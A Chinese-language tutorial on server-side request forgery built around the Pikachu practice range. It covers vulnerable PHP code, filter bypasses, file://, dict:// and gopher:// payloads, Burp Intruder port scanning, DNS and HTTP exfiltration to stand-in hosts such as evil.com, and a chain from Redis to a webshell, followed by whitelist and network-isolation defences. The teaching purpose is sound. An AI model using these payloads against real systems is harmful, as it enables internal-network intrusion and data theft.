
1. 項目概述從靶場到實戰理解SSRF攻擊的本質如果你正在學習網絡安全尤其是Web安全方向那么“Pikachu靶場”這個名字你一定不陌生。它就像我們學編程時的“Hello World”是無數安全愛好者入門實戰的第一站。今天我們要深入拆解的就是Pikachu靶場中一個經典且危害極大的漏洞類型——SSRF攻擊。SSRF全稱Server-Side Request Forgery中文叫服務端請求偽造。這個名字聽起來有點拗口但它的原理其實很“直白”攻擊者能夠“欺騙”或“操縱”一個存在漏洞的服務器讓它代替攻擊者去發起一個網絡請求。你可以把它想象成一種“借刀殺人”的攻擊手法攻擊者自己躲在暗處讓受害服務器這把“刀”去攻擊內網的其他系統、讀取本地文件甚至作為跳板發起更復雜的攻擊。為什么SSRF如此重要在當前的網絡架構下很多核心業務系統、數據庫、管理后臺都部署在內網從外網無法直接訪問這構成了所謂的安全邊界。但SSRF漏洞恰恰能打破這個邊界。一個看似無害的、允許用戶提交URL的功能比如頭像設置、文章抓取、在線翻譯如果存在SSRF漏洞就可能成為攻擊者刺向內網的“特洛伊木馬”。通過Pikachu靶場我們可以在一個絕對安全的環境里親手復現這種攻擊理解漏洞的成因、利用手法以及最關鍵的——防御思路。無論你是剛入門的安全新手還是想鞏固Web安全知識體系的從業者這次對SSRF的深度探索都將讓你收獲頗豐。2. SSRF攻擊核心原理與漏洞場景深度解析2.1 SSRF到底是如何發生的要理解SSRF我們必須先跳出前端的視角深入到服務器端代碼的邏輯里。想象一個典型的Web應用場景一個“在線URL預覽”功能。用戶輸入一個圖片網址比如https://example.com/image.jpg服務器端代碼可能是PHP、Java、Python等會獲取到這個URL然后使用后端網絡庫如cURL、file_get_contents、HttpClient等去請求這個地址獲取圖片內容最后可能進行縮放、緩存再展示給用戶。漏洞就隱藏在服務器處理這個用戶輸入URL的過程中。如果開發人員沒有對用戶傳入的URL進行嚴格的校驗和過濾攻擊者就可以輸入一個“非預期”的URL。這個URL可能指向服務器本機127.0.0.1或localhost嘗試訪問服務器上僅本地可訪問的服務如數據庫管理界面127.0.0.1:3306、Redis服務127.0.0.1:6379、Memcached等。內網其他機器利用內網IP地址段如192.168.x.x 10.x.x.x 172.16.x.x-172.31.x.x探測和攻擊內網中其他存在漏洞的應用。特殊協議或路徑利用file://協議讀取服務器本地文件如file:///etc/passwd或利用dict://、gopher://等協議與服務器上其他支持這些協議的服務進行交互可能泄露信息或執行命令。問題的核心在于服務器發起的這個請求會帶著服務器自身的網絡權限和身份。如果服務器在內網中擁有較高權限或者內網安全策略是基于“信任內網”的那么攻擊者通過SSRF就能以服務器的身份“為所欲為”。2.2 Pikachu靶場中的SSRF漏洞場景模擬Pikachu靶場精心設計了多個場景來模擬SSRF漏洞幫助我們理解不同代碼缺陷導致的利用方式差異。通常它會包含以下至少兩種常見類型類型一無任何過濾的“裸奔”型SSRF這是最理想對攻擊者而言也是最危險的場景。后端代碼可能簡單如下以PHP為例$url $_GET[url]; // 直接獲取用戶輸入的URL $content file_get_contents($url); // 直接用于發起請求 echo $content;在這種情況下攻擊者擁有最大的自由度。他可以嘗試http://127.0.0.1:80探測Web服務。http://127.0.0.1:3306嘗試與MySQL交互雖然MySQL協議非HTTP但連接嘗試可能暴露端口開放狀態。file:///etc/passwd直接讀取系統文件。http://192.168.1.1/嘗試訪問內網路由器管理界面。類型二存在部分過濾但可被繞過的SSRF這是更現實的情況。開發人員意識到了風險但防御措施不完善。例如代碼可能檢查URL是否以http://或https://開頭$url $_GET[url]; if (strpos($url, http://) ! 0 strpos($url, https://) ! 0) { die(URL must start with http:// or https://); } $content file_get_contents($url);這種過濾很容易被繞過。攻擊者可以輸入http://127.0.0.1evil.com 這里127.0.0.1是用戶名后面的evil.com才是真正的主機。但一些舊的或配置不當的庫在解析時可能會錯誤地將整個字符串當作主機名去解析或者因為符號的處理差異導致訪問本地。http://localhost.evil.com 攻擊者將域名localhost.evil.com的A記錄指向127.0.0.1從而繞過對“localhost”字符串的過濾。利用URL編碼將127.0.0.1編碼為%31%32%37%2e%30%2e%30%2e%31點號也可編碼為%2e或者將點號換成Unicode形式如果過濾邏輯沒有進行規范化解碼就可能被繞過。使用短地址或重定向提供一個指向http://127.0.0.1的短鏈接服務URL服務器在請求短鏈接后會跟隨重定向到內網地址。注意在實際的Pikachu靶場練習中你需要仔細觀察前端的輸入框提示、響應返回的數據格式是直接回顯、顯示為圖片還是僅返回成功/失敗這決定了你的攻擊載荷Payload該如何構造。例如如果功能是獲取圖片并顯示那么你嘗試讀取/etc/passwd文本文件可能不會成功顯示但你可以嘗試讀取/proc/self/cmdlineLinux系統進程信息或利用其他協議。2.3 從靶場到真實世界的漏洞聯想Pikachu靶場是一個理想化的模型真實世界的SSRF漏洞往往隱藏在更復雜的功能背后社交網站的“分享預覽”當你粘貼一個鏈接網站會自動抓取標題和縮略圖。PDF/文檔在線轉換服務服務需要訪問用戶提供的URL來獲取源文件。郵件/消息系統中的鏈接安全檢測部分系統會主動訪問鏈接以判斷其安全性。從遠程URL導入數據或頭像的功能。Webhook配置用戶配置一個URL讓系統在事件發生時向該URL發送POST請求。這些功能點都是SSRF漏洞的“高發區”。理解靶場中的原理就是為了能在審計真實代碼或進行滲透測試時迅速識別出這些潛在的“風險點”。3. Pikachu靶場SSRF關卡實戰演練與技巧3.1 環境準備與初步信息收集在開始攻擊之前充分的準備和信息收集是成功的關鍵。假設你已經成功在本地搭建好了Pikachu靶場通常是一個Docker容器或PHP集成環境。確定目標URL首先訪問Pikachu靶場的SSRF漏洞模塊。它的路徑可能類似于http://your-pikachu-ip/pikachu/vul/ssrf/ssrf_*.php。打開頁面后不要急著輸入先觀察。分析前端界面頁面上可能有一個輸入框標簽是“請輸入圖片地址”或“請輸入URL”旁邊有一個“提交”或“預覽”按鈕。查看網頁源代碼看看是否有前端JavaScript驗證。通常靶場為了教學會關閉或簡化前端驗證。理解后端邏輯這是最重要的步驟。你需要推測后端在做什么。提交一個合法的、完全可控的外網圖片URL比如https://via.placeholder.com/150一個生成占位圖片的公共服務。觀察結果情況A頁面直接顯示了這張圖片。這說明服務器獲取了圖片內容并輸出到了img src標簽或者直接以二進制流返回。那么你可以嘗試讓服務器返回非圖片內容看看是否也會被直接輸出回顯型SSRF這非常有利于信息探測。情況B頁面顯示“預覽成功”或只顯示一個固定圖片不顯示你提交的圖片內容。這可能意味著服務器只是去“訪問”了一下這個URL根據訪問成功與否返回結果或者將圖片保存到了后端前端展示的是保存后的路徑。這種“盲SSRF”難度更大需要利用時間延遲、DNS記錄或外帶OOB技術來探測。3.2 基礎探測針對本機服務的攻擊確認了是一個回顯型SSRF后我們可以開始基礎探測。目標是探測服務器本機127.0.0.1開放了哪些端口和服務。技巧使用Burp Suite的Intruder模塊進行端口爆破手動嘗試每個端口效率太低。我們可以利用Burp Suite。在瀏覽器中提交一個合法請求用Burp Suite抓包。將抓到的數據包發送到Intruder模塊。在url參數值如urlhttp://example.com處將主機名和端口部分設置為攻擊位置。例如設置urlhttp://127.0.0.1:§80§。載荷Payload設置選擇“Numbers”類型生成一個從1到10000的數字序列作為端口號。為了提速可以先用常見端口如21, 22, 23, 25, 53, 80, 110, 139, 143, 443, 445, 3306, 3389, 6379, 8080進行第一輪探測。開始攻擊觀察響應。通過響應長度、狀態碼和內容來區分。響應長度顯著不同一個關閉的端口或非HTTP服務端口請求通常會失敗連接拒絕或超時響應長度很短或為0。而一個開放的HTTP/HTTPS服務會返回具體的HTML或其他數據響應長度較大。狀態碼可能會返回200、302、401、403等HTTP狀態碼。響應內容可能直接包含服務標識如“Apache Tomcat”、“nginx”、“MySQL”等banner信息。實操心得在Pikachu靶場環境中你可能會發現127.0.0.1:80返回了Pikachu靶場自己的首頁127.0.0.1:3306可能連接超時因為MySQL協議非HTTP但響應時間與一個完全不存在的端口如9999有差異。重點留意22SSH、6379Redis、27017MongoDB等常見中間件端口。3.3 進階利用協議處理與文件讀取如果基礎HTTP探測成功接下來可以嘗試更危險的利用方式。利用file://協議讀取本地文件這是SSRF的一個經典利用點可以直接讀取服務器上的敏感文件。Payload:file:///etc/passwd如果系統是Windows可以嘗試file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/Windows/win.ini注意事項能否成功取決于后端使用的網絡庫/函數是否支持file://協議。PHP的file_get_contents()和cURL默認配置通常是支持的。路徑分隔符Linux/Unix系統是正斜杠/Windows是反斜杠\但在URL中file://協議后通常使用正斜杠Windows路徑如file:///C:/Windows/win.ini。可能會遇到文件權限問題但像/etc/passwd這類全局可讀文件通常可以讀取。利用dict://協議探測端口和服務信息dict://協議用于訪問DICT字典服務器但它有一個特性可以嘗試與任意端口的TCP服務建立連接并發送一條指令。這可以用來快速探測端口是否開放甚至與某些文本協議服務如Redis、Memcached進行簡單交互。Payload:dict://127.0.0.1:6379/info如果6379端口運行著Redis且未設置密碼可能會返回Redis服務器信息。原理dict://協議會向指定主機和端口發起一個TCP連接并將URL路徑如/info作為命令發送過去然后讀取響應。這比HTTP探測更“底層”不要求目標端口是HTTP服務。利用gopher://協議進行高級攻擊gopher是一個古老的協議但它功能強大可以構造任意格式的TCP數據包。在SSRF中它常被用作“萬能武器”特別是攻擊內網的Redis、MySQL、FastCGI等服務。攻擊Redis未授權訪問如果內網存在一臺未設置密碼的Redis服務器默認端口6379可以通過SSRF配合gopher協議向Redis發送命令從而實現寫入Webshell、寫入SSH公鑰、主從復制RCE等操作。Payload構造復雜需要將Redis命令轉換為gopher協議支持的格式通常是將Redis的原始命令按協議格式進行URL編碼。由于構造過程繁瑣通常使用現成的工具生成Payload。重要提示在Pikachu靶場中出于復雜度和安全性考慮可能不會完整模擬出可通過gopher攻擊Redis的場景。但理解這一利用鏈至關重要。其基本流程是發現SSRF - 探測內網Redis端口開放 - 確認Redis未授權訪問 - 構造gopherPayload實現RCE。這是SSRF危害能達到“遠程代碼執行”級別的典型路徑。3.4 盲SSRF的探測與外帶技術當你面對一個“盲SSRF”時服務器不會直接返回目標請求的內容。這時我們需要借助一些技術來“感知”請求是否成功發出以及探測目標信息。1. 時間延遲Time-based Blind原理讓服務器去訪問一個我們控制的、響應很慢的URL或者訪問一個不存在的IP導致連接超時。通過比較服務器響應我們請求的時間長短來判斷目標端口是否開放。操作提交http://192.168.1.10:80假設這是內網IP。如果80端口開放服務器可能會快速收到一個HTTP響應或連接拒絕整體響應時間較短。如果訪問一個未使用的IP段如http://192.168.99.99:80服務器會因TCP超時而等待較長時間導致我們收到的最終響應時間變長。工具輔助使用Burp Suite的Intruder攻擊時可以添加一列“Response received”時間通過排序來識別哪些請求耗時明顯更長端口開放或服務存在哪些請求快速失敗端口關閉。2. DNS外帶DNS Exfiltration這是探測盲SSRF和獲取信息的神器。原理是讓存在漏洞的服務器去解析一個我們擁有日志查詢權限的域名。步驟申請一個域名如evil.com并配置其NS記錄指向你控制的DNS服務器例如使用ceye.io、dnslog.cn這類提供免費DNS日志查詢的平臺。構造一個特殊的子域名作為Payload例如http://192-168-1-10.evil.com。當服務器嘗試訪問這個URL時會先對192-168-1-10.evil.com進行DNS解析。你可以在DNS日志平臺上看到解析記錄如果看到了192-168-1-10.evil.com就證明服務器確實發起了對192.168.1.10的DNS解析請求從而確認了SSRF漏洞的存在并且可以探測內網主機名你可以將IP放在子域名中帶出。進階甚至可以嘗試http://encoded-data.evil.com將你想探測的信息如文件內容片段編碼后放在子域名里通過DNS查詢帶出來。3. HTTP外帶HTTP Exfiltration與DNS外帶類似但通過HTTP請求將數據帶出。讓服務器訪問一個你控制的Web服務器并在URL路徑或參數中攜帶信息。Payload:http://your-server.com/ssrf?ip192.168.1.10port80在你的服務器日志中你會看到來自漏洞服務器的訪問記錄其中包含了ip和port參數從而證實了SSRF以及對內網該IP:PORT的訪問嘗試。4. 防御策略與代碼審計視角攻擊是為了更好的防御。通過Pikachu靶場的實戰我們必須總結出如何在自己的代碼中避免SSRF漏洞。4.1 黑名單 vs 白名單策略選擇黑名單過濾不推薦試圖過濾掉“危險”的IP和域名如127.0.0.1、localhost、192.168.*、10.*.*.*、172.16.*.*等。這種方法極易被繞過IP地址的多種表示形式2130706433127.0.0.1的十進制、0x7f000001十六進制、0177.0.0.1八進制、127.1、127.0.1等。利用DNS重綁定、短網址、跳轉服務。利用非HTTP協議如file://、dict://、gopher://。白名單過濾強烈推薦只允許訪問預設的、明確安全的域名或IP地址。這是最有效的防御手段。實現方式維護一個允許列表Allow List包含業務真正需要訪問的第三方服務域名如cdn.example.comapi.weixin.qq.com。用戶提交的URL先提取其主機名hostname檢查是否在允許列表中并且必須解析后的IP地址也在允許的IP范圍內防止DNS重綁定攻擊。代碼示例Python思路import urllib.parse from socket import gethostbyname ALLOWED_DOMAINS [cdn.yourcompany.com, trusted-service.com] ALLOWED_IPS [203.0.113.10, 198.51.100.20] # 對應上述域名的IP def safe_fetch_url(user_input_url): parsed urllib.parse.urlparse(user_input_url) hostname parsed.hostname # 1. 檢查協議只允許HTTP/HTTPS if parsed.scheme not in (http, https): raise ValueError(Only HTTP and HTTPS protocols are allowed) # 2. 解析主機名獲取IP try: ip gethostbyname(hostname) except: raise ValueError(Could not resolve hostname) # 3. 檢查IP是否在私有網段額外保險 if ip.startswith(127.) or ip.startswith(10.) or ip.startswith(192.168.) or (ip.startswith(172.) and 16 int(ip.split(.)[1]) 31): raise ValueError(Access to internal network is not allowed) # 4. 核心白名單校驗域名和IP雙重校驗 if hostname not in ALLOWED_DOMAINS or ip not in ALLOWED_IPS: raise ValueError(URL not in allowed list) # 5. 進行實際的網絡請求... # 建議使用具有超時和重試限制的庫如requests4.2 網絡層與架構層面的加固統一出口與網絡隔離業務服務器可能處理用戶輸入URL的Web應用層應該部署在一個獨立的分區DMZ與核心內網業務數據庫、緩存、管理后臺進行嚴格的網絡隔離。即使Web服務器被攻陷攻擊者也無法通過它直接訪問核心資產。使用中間代理服務對于必須從用戶輸入獲取遠程資源的功能可以引入一個受嚴格控制的“代理服務”或“資源獲取服務”。這個服務運行在獨立的、網絡權限最小化的容器或服務器上。Web應用將用戶URL傳遞給這個代理服務由代理服務進行白名單校驗、獲取內容、安全檢查如病毒掃描、內容類型校驗再將安全的內容返回給Web應用。這樣將風險隔離在了一個更小的組件內。禁用不必要的URL協議在應用程序或底層網絡庫中禁用除http://和https://之外的所有URL協議處理器如file://、gopher://、dict://、ftp://。例如在PHP中可以在php.ini里設置allow_url_fopen Off來禁用file_get_contents對遠程文件和特定協議的支持但會影響正常功能需權衡。更推薦在代碼層面進行協議白名單校驗。設置請求超時和重試限制防止攻擊者利用SSRF進行DoS攻擊讓服務器不斷請求一個慢速資源或端口掃描通過超時差異探測。避免將用戶輸入直接傳遞給底層網絡函數這是最根本的。任何將用戶可控數據用于網絡請求、文件操作、系統命令的地方都必須經過嚴格的校驗和凈化。4.3 代碼審計中的危險函數與模式在進行代碼審計時以下模式是SSRF漏洞的“高危信號”PHP:file_get_contents($url),fsockopen(),curl_exec()(如果CURLOPT_URL來自用戶輸入且未過濾)。Java:URLConnection().openConnection(),HttpClient.execute()(參數來自用戶輸入)new URL(userInput).openStream()。Python:urllib.request.urlopen(user_input),requests.get(user_input)。Node.js:require(http).get(userInput) 或使用request、axios等庫時URL參數來自未經驗證的用戶輸入。看到這些函數就要立刻檢查其參數是否用戶可控以及前面是否有有效的白名單校驗或過濾機制。切記正則表達式黑名單過濾幾乎總是可以被繞過。5. 常見問題排查與實戰避坑指南在Pikachu靶場練習或真實環境測試中你可能會遇到各種問題。這里記錄一些常見的坑和解決思路。5.1 靶場環境問題問題提交Payload后頁面無變化或報錯“URL無效”。排查檢查Payload格式確保URL格式正確特別是使用了file://協議時是三個斜杠file:///。檢查靶場后端邏輯Pikachu不同版本的SSRF關卡可能有不同的后端代碼。有的關卡可能只接受返回圖片的URL通過檢查Content-Type。嘗試提交一個合法的圖片外鏈確認功能正常。查看服務器錯誤日志如果你自己搭建的靶場查看PHP錯誤日志如/var/log/apache2/error.log或php_error.log里面可能有file_get_contents()失敗的具體原因如“No such file or directory”或“Protocol not supported”。協議支持確認你使用的PHP環境是否編譯了對應協議支持。file://通常是默認支持的。問題探測內網端口時所有請求都很快返回無法區分。排查防火墻/網絡配置確保你的靶場虛擬機或容器網絡配置正確能夠訪問其定義的“內網”。有時Docker的網橋模式或虛擬機的Host-Only網絡需要正確設置。靶場設計有些教學靶場為了簡化可能沒有模擬復雜的內網環境本機除了Web端口外沒有其他服務。你可以嘗試在靶場服務器上啟動一個簡單的Python HTTP服務在另一個端口python3 -m http.server 8888然后再從SSRF漏洞去訪問127.0.0.1:8888進行測試。使用時間差即使端口關閉不同系統/網絡庫的報錯速度也可能有差異。可以嘗試用Burp Suite的Intruder設置較長的線程間隔如500ms更仔細地觀察“Response received”時間細微差別可能依然存在。5.2 利用技巧與進階思考繞過技巧失效怎么辦如果你遇到的過濾看起來比較嚴格比如不僅檢查了127.0.0.1還檢查了localhost、0.0.0.0甚至檢查了URL編碼可以嘗試以下思路利用IPv6地址[::1]或[0:0:0:0:0:0:0:1]代表IPv6的回環地址。利用DNS重綁定這是繞過IP黑名單的終極技巧之一。你需要控制一個域名將其A記錄TTL設置為非常短如0先指向一個合法的外網IP如1.2.3.4讓服務器第一次DNS解析通過校驗。然后迅速將A記錄修改為127.0.0.1。由于服務器或中間件如本地DNS緩存、編程語言DNS緩存可能會緩存DNS結果成功率取決于緩存策略。一些在線平臺提供DNS重綁定測試服務。利用URL解析差異不同語言、不同庫的URL解析器可能存在差異。例如http://foo127.0.0.1:80evil.com/http://127.0.0.1:80\\evil.com等。這需要你對目標后端技術棧的URL解析邏輯有深入了解。從SSRF到RCE的路徑如何打通SSRF本身可能只是信息泄露或內網探測但其最高價值在于作為跳板實現遠程代碼執行。一個經典的鏈是SSRF - 攻擊內網Redis未授權訪問 - 寫入Webshell。通過SSRF探測到內網192.168.1.100:6379開放且是Redis。確認Redis未設置密碼通過嘗試發送PING命令看是否返回PONG。構造gopher協議Payload向Redis發送命令將一段PHP代碼寫入網站根目錄下的一個文件如shell.php。通過Web訪問這個shell.php獲得服務器權限。這個過程在Pikachu靶場中可能不會完整呈現但它是真實滲透測試中需要掌握的高級利用鏈。理解它你就能真正評估一個SSRF漏洞的潛在危害等級。個人體會SSRF漏洞的挖掘和利用三分靠技術七分靠耐心和思維發散。它考驗的是你對網絡協議、應用架構、編程語言特性的綜合理解。在測試時不要只盯著“URL輸入框”任何用戶可控的、最終會被系統用于發起網絡請求的參數都值得懷疑比如XML解析中的外部實體XXE漏洞本質上也是一種SSRF、某些API的callback參數、甚至郵件頭中的Message-ID等。保持這種“攻擊面”思維才能發現更深層次的安全問題。最后防御SSRF沒有銀彈白名單是基石網絡隔離是護城河兩者結合才能構建起有效的防線。